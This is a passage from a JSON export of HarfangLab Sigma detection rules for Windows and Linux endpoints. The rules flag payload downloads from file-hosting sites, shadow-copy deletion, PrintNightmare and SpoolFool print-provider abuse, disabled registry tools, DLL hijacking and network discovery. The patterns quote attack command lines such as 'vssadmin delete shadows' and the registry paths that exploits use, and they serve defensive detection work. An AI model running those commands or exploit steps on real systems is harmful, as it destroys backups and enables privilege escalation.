+  "content": "title: DNS Request to Suspicious File Hosting Website (Windows)\nid: 71223ef6-7b62-4e8e-8457-634d94aea022\ndescription: |\n    Detects a DNS request to a public file hosting service that may contain a malicious payload.\n    This technique has been used by ransomware operators to download payloads that are hosted on public websites.\n    It is recommended to perform an analysis of the downloaded file to check if the content is malicious.\nreferences:\n    - https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/\n    - https://twitter.com/embee_research/status/1623908375242350593\n    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/11/20\nmodified: 2025/12/19\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.t1071.001\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    category: dns_query\n    product: windows\ndetection:\n    selection:\n        QueryName:\n            - '*transfer.sh'\n            - '*gofile.io'\n            - '*file.io'\n            - '*send.exploit.in'\n            - '*catbox.moe'\n            - 'temp.sh'\n\n    filter_browser:\n        ProcessOriginalFileName:\n            - 'firefox.exe'\n            - 'chrome.exe'\n            - 'brave.exe'\n            - 'msedge.exe'\n            - 'librewolf.exe'\n            - 'opera.exe'\n            - 'vivaldi.exe'\n            - 'iexplore.exe'\n            - 'msedgewebview2.exe'\n            - 'zen.exe'\n\n    exclusion_legitimate:\n        QueryName: 'featureflags.sharefile.io'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_misc_windows:\n        ProcessImage:\n            - '?:\\Windows\\System32\\PING.EXE'\n            - '?:\\Windows\\SysWOW64\\PING.EXE'\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\SysWOW64\\ipconfig.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiApSrv.exe'\n            - '?:\\Windows\\System32\\smartscreen.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\nissrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n\n    exclusion_mcafee:\n        ProcessImage: '?:\\Program Files\\McAfee\\Endpoint Security\\Adaptive Threat Protection\\mfeatp.exe'\n\n    exclusion_xmind:\n        ProcessImage:\n            - '?:\\Program Files\\XMind\\XMind.exe'\n            - '?:\\Program Files (x86)\\XMind\\XMind.exe'\n\n    exclusion_rave:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Programs\\rave-desktop\\rave.exe'\n\n    exclusion_opera:\n        ProcessImage|endswith: '\\opera.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Opera Norway AS'\n\n    exclusion_cisco:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\CiscoSparkLauncher\\CiscoCollabHost.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "71223ef6-7b62-4e8e-8457-634d94aea022",
+  "rule_name": "DNS Request to Suspicious File Hosting Website (Windows)",
+  "rule_description": "Detects a DNS request to a public file hosting service that may contain a malicious payload.\nThis technique has been used by ransomware operators to download payloads that are hosted on public websites.\nIt is recommended to perform an analysis of the downloaded file to check if the content is malicious.\n",
+  "rule_creation_date": "2023-11-20",
+  "rule_modified_date": "2025-12-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "712a3c26-8c9a-4390-938e-dd0dd4e5595c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071720Z",
+  "creation_date": "2026-03-23T11:45:34.071722Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071726Z",
+  "rule_level": "critical",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1490/"
+  ],
+  "name": "t1490_shadow_copy_deleted.yml",
+  "content": "title: Volume Shadow Copies Deleted\nid: 712a3c26-8c9a-4390-938e-dd0dd4e5595c\ndescription: |\n    Detects when a Volume Shadow Copies (VSS) is deleted (or resized to a very low value) using various systems utilities such as vssadmin and wmic.\n    Numerous threat actors and ransomwares perform this operation prior to deleting/encrypting data.\n    It is recommended to check if this operation is expected and to analyze the process' parent for other suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1490/\ndate: 2020/09/28\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1490\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.VolumeShadowCopy\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith:\n            - '\\wmic.exe'\n            - '\\vssadmin.exe'\n        # renamed binaries\n        - OriginalFileName:\n            - 'wmic.exe'\n            - 'VSSADMIN.EXE'\n\n    selection_delete:\n        CommandLine|contains|all:\n            # we want to match :\n            #  - vssadmin delete shadows (/all /quiet)\n            #  - wmic shdowcopy delete\n            # matching shadow ==> matches on shadows and shadowcopy\n            - delete\n            - shadow\n    selection_resize_shadowstorage:\n        CommandLine|contains|all:\n            # handles vssadmin resize shadowstorage /for=xx /maxsize=yy with yy == low value (which deletes whadow copies..)\n            # see https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-resize-shadowstorage\n            - 'resize'\n            - 'shadowstorage'\n            - '/maxsize'\n    selection_delete_shadowstorage:\n        CommandLine|contains|all:\n            - 'delete'\n            - 'shadowstorage'\n\n    exclusion_litetouch:\n        # vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=5%\n        CommandLine: 'vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=5%'\n        # C:\\Windows\\System32\\wscript.exe C:\\MININT\\Scripts\\LTICleanup.wsf\n        # C:\\Windows\\System32\\wscript.exe \\\\1[redacted]\\e$\\DeploymentShare\\Scripts\\LTICleanup.wsf\n        # cscript.exe \\\\[redacted]\\DeploymentShare$\\Scripts\\LTICleanup.wsf\n        GrandparentImage:\n            - '?:\\Windows\\System32\\wscript.exe'\n            - '?:\\Windows\\System32\\cscript.exe'\n        GrandparentCommandLine|contains: '\\Scripts\\LTICleanup.wsf'\n\n    exclusion_iperius:\n        CommandLine:\n            - 'vssadmin delete shadows /For=C: /Oldest /Quiet'\n            - 'vssadmin delete shadows /shadow={????????-????-????-????-????????????} /quiet'\n        GrandparentImage:\n            - '?:\\Program Files (x86)\\Iperius Backup\\Iperius.exe'\n            - '?:\\Program Files (x86)\\Sauvegarde System\\Iperius.exe'\n\n    exclusion_big_size:\n        # C:\\WINDOWS\\system32\\vssadmin.exe resize shadowstorage /on=c: /for=c: /maxsize=10240MB\n        CommandLine:\n            - '* resize */maxsize=1????MB*'\n            - '* resize */maxsize=2????MB*'\n            - '* resize */maxsize=3????MB*'\n            - '* resize */maxsize=4????MB*'\n            - '* resize */maxsize=5????MB*'\n            - '* resize */Maxsize=1?GB*'\n            - '* resize */Maxsize=2?GB*'\n            - '* resize */Maxsize=3?GB*'\n            - '* resize */Maxsize=4?GB*'\n            - '* resize */Maxsize=5?GB*'\n            - '* resize */MaxSize=1?%'\n            - '* resize */MaxSize=2?%'\n            - '* resize */MaxSize=3?%'\n            - '* resize */MaxSize=4?%'\n            - '* resize */MaxSize=5?%'\n\n    exclusion_dell:\n        ProcessParentOriginalFileName: 'VssShadowFix.exe'\n        ProcessParentSignature: 'Dell Inc'\n        CommandLine: '?:\\WINDOWS\\system32\\vssadmin.exe resize shadowstorage /for=?: /on=?: /maxsize=2%'\n\n    exclusion_easyus:\n        ParentImage: '?:\\Program Files\\EaseUS\\EaseUS Partition Master\\bin\\EPMUI.exe'\n\n    exclusion_kiwibackup:\n        ParentImage: '?:\\Program Files\\Kiwi-Backup\\Kiwi-Backup\\kiwi.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'KIWI BACKUP'\n\n    condition: selection and 1 of selection_* and not 1 of exclusion_*\nlevel: critical\n# level: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "712a3c26-8c9a-4390-938e-dd0dd4e5595c",
+  "rule_name": "Volume Shadow Copies Deleted",
+  "rule_description": "Detects when a Volume Shadow Copies (VSS) is deleted (or resized to a very low value) using various systems utilities such as vssadmin and wmic.\nNumerous threat actors and ransomwares perform this operation prior to deleting/encrypting data.\nIt is recommended to check if this operation is expected and to analyze the process' parent for other suspicious activities.\n",
+  "rule_creation_date": "2020-09-28",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1490"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7135edeb-86d3-4d04-a2e4-8eb48e25987c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608498Z",
+  "creation_date": "2026-03-23T11:45:34.608501Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608508Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675",
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21999",
+    "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675",
+    "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999",
+    "https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/",
+    "https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81"
+  ],
+  "name": "t1574_spoolsv_new_malicious_provider.yml",
+  "content": "title: Malicious Print Provider Added\nid: 7135edeb-86d3-4d04-a2e4-8eb48e25987c\ndescription: |\n    Detects the installation of a malicious print provider via a registry value.\n    This can be the result of an exploitation of CVE-2021-1675 (aka PrintNightmare) or CVE-2022-21999 (aka SpoolFool) to gain code execution in spoolsv.\n    This is a remote or local code execution vulnerability that exists in the Windows Print Spooler service.\n    An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges.\n    It is recommended to investigate the timeline for malicious activity and to look for any suspicious processes or alerts running as SYSTEM.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21999\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999\n    - https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/\n    - https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81\ndate: 2021/11/12\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1574\n    - attack.s0002\n    - cve.2021-1675\n    - cve.2022-21999\n    - classification.Windows.Source.Registry\n    - classification.Windows.Exploit.CVE-2022-21999\n    - classification.Windows.Exploit.CVE-2021-1675\n    - classification.Windows.Exploit.SpoolFool\n    - classification.Windows.Exploit.PrintNightmare\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_base:\n        EventType: SetValue\n        Image|endswith: '\\spoolsv.exe'\n    selection_variant_cve_2021_1675:\n        TargetObject:\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows *\\Drivers\\Version-?\\1234\\Configuration File'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows *\\Drivers\\Version-?\\12345\\Configuration File'\n            # Quakbot (spider.dll)\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows *\\Drivers\\Version-?\\123456\\Configuration File'\n            # Mimikatz\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows *\\Drivers\\Version-?\\mimikatz*\\Configuration File'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows *\\Drivers\\Version-?\\\\*-legitprinter\\Configuration File'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows *\\Drivers\\Version-?\\\\*-reallylegitprinter\\Configuration File'\n    selection_variant_cve_2022_21999:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\\\*\\CopyFiles\\Module'\n        Details:\n            # Used by SpoolFool to forcefully restart spoolsv.dll\n            - '?:\\Windows\\System32\\AppVTerminator.dll'\n            # Used by SpoolFool for its PoC\n            - '*\\AddUser.dll'\n    condition: selection_base and 1 of selection_variant_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7135edeb-86d3-4d04-a2e4-8eb48e25987c",
+  "rule_name": "Malicious Print Provider Added",
+  "rule_description": "Detects the installation of a malicious print provider via a registry value.\nThis can be the result of an exploitation of CVE-2021-1675 (aka PrintNightmare) or CVE-2022-21999 (aka SpoolFool) to gain code execution in spoolsv.\nThis is a remote or local code execution vulnerability that exists in the Windows Print Spooler service.\nAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges.\nIt is recommended to investigate the timeline for malicious activity and to look for any suspicious processes or alerts running as SYSTEM.\n",
+  "rule_creation_date": "2021-11-12",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7145827a-ffd8-421e-8a61-140558680892",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623054Z",
+  "creation_date": "2026-03-23T11:45:34.623056Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623061Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/1ZRR4H/status/1575364104822444032",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_disable_registry_tools.yml",
+  "content": "title: Registry Tools Disabled\nid: 7145827a-ffd8-421e-8a61-140558680892\ndescription: |\n    Detects the disabling of the use of Registry Tools for a said user.\n    Attackers can use this registry modification to prevent users from starting registry tools and from doing remediative actions.\n    It is recommended to investigate the process that did this registry modification and the context of this action to determine its legitimacy.\nreferences:\n    - https://twitter.com/1ZRR4H/status/1575364104822444032\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2022/11/03\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools'\n        Details|contains: 'DWORD' # Any non-zero value works, not just DWORD (0x00000001)\n\n    filter_zero:\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_deviceenroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_userlock:\n        ProcessOriginalFileName: 'UlAgent.dll'\n        ProcessSignature: 'IS Decisions SA'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n\n    exclusion_intune:\n        ProcessImage: '?:\\Windows\\System32\\omadmclient.exe'\n\n    exclusion_mmc:\n        ProcessCommandLine|startswith: '?:\\WINDOWS\\system32\\mmc.exe ?:\\Windows\\System32\\gpme.msc /s /gpobject:LDAP://'\n\n    # https://www.aesis-conseil.com/\n    exclusion_webkiosk:\n        ProcessImage: '?:\\Program Files\\WkLock\\WkLockService.exe'\n\n    exclusion_gpo_reporting:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\DllHost.exe /Processid:{7F9BBC82-BA5F-4448-8622-EF76B8D007E6}'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_iaca:\n        ProcessImage: '?:\\Windows\\SysWOW64\\SvCliaca.exe'\n        ProcessCompany: 'IACASOFT'\n\n    exclusion_azure:\n        ProcessImage: '?:\\Windows\\System32\\dsregcmd.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7145827a-ffd8-421e-8a61-140558680892",
+  "rule_name": "Registry Tools Disabled",
+  "rule_description": "Detects the disabling of the use of Registry Tools for a said user.\nAttackers can use this registry modification to prevent users from starting registry tools and from doing remediative actions.\nIt is recommended to investigate the process that did this registry modification and the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "71584c03-fa25-4f66-8f19-7d7be98df2de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075554Z",
+  "creation_date": "2026-03-23T11:45:34.075556Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075561Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_convert.yml",
+  "content": "title: DLL Hijacking via CONVERT.exe\nid: 71584c03-fa25-4f66-8f19-7d7be98df2de\ndescription: |\n    Detects potential Windows DLL Hijacking via CONVERT.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CONVERT.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ifsutil.dll'\n            - '\\osuninst.dll'\n            - '\\scecli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "71584c03-fa25-4f66-8f19-7d7be98df2de",
+  "rule_name": "DLL Hijacking via CONVERT.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CONVERT.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "716e51d3-33b4-4ccb-88a4-aa86d0153c2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621670Z",
+  "creation_date": "2026-03-23T11:45:34.621672Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621676Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery",
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/software/S0104/"
+  ],
+  "name": "t1049_system_network_connections_discovered_linux.yml",
+  "content": "title: System Network Connections Discovered\nid: 716e51d3-33b4-4ccb-88a4-aa86d0153c2a\ndescription: |\n    Detects the execution of commands to retrieve information about network connections.\n    Attackers may use it during the discovery phase to display information about the system.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/software/S0104/\ndate: 2025/10/21\nmodified: 2026/01/21\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1049\n    - attack.s0039\n    - attack.s0104\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        # For new agents, we use the correlation rule (e595008e-d87c-4a1b-a72c-3f9c72d68aca).\n        AgentVersion|lt|version: 5.4.0\n        CommandLine: 'sh -c netstat; who -a'\n\n    condition: selection\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "716e51d3-33b4-4ccb-88a4-aa86d0153c2a",
+  "rule_name": "System Network Connections Discovered",
+  "rule_description": "Detects the execution of commands to retrieve information about network connections.\nAttackers may use it during the discovery phase to display information about the system.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2025-10-21",
+  "rule_modified_date": "2026-01-21",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1049"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
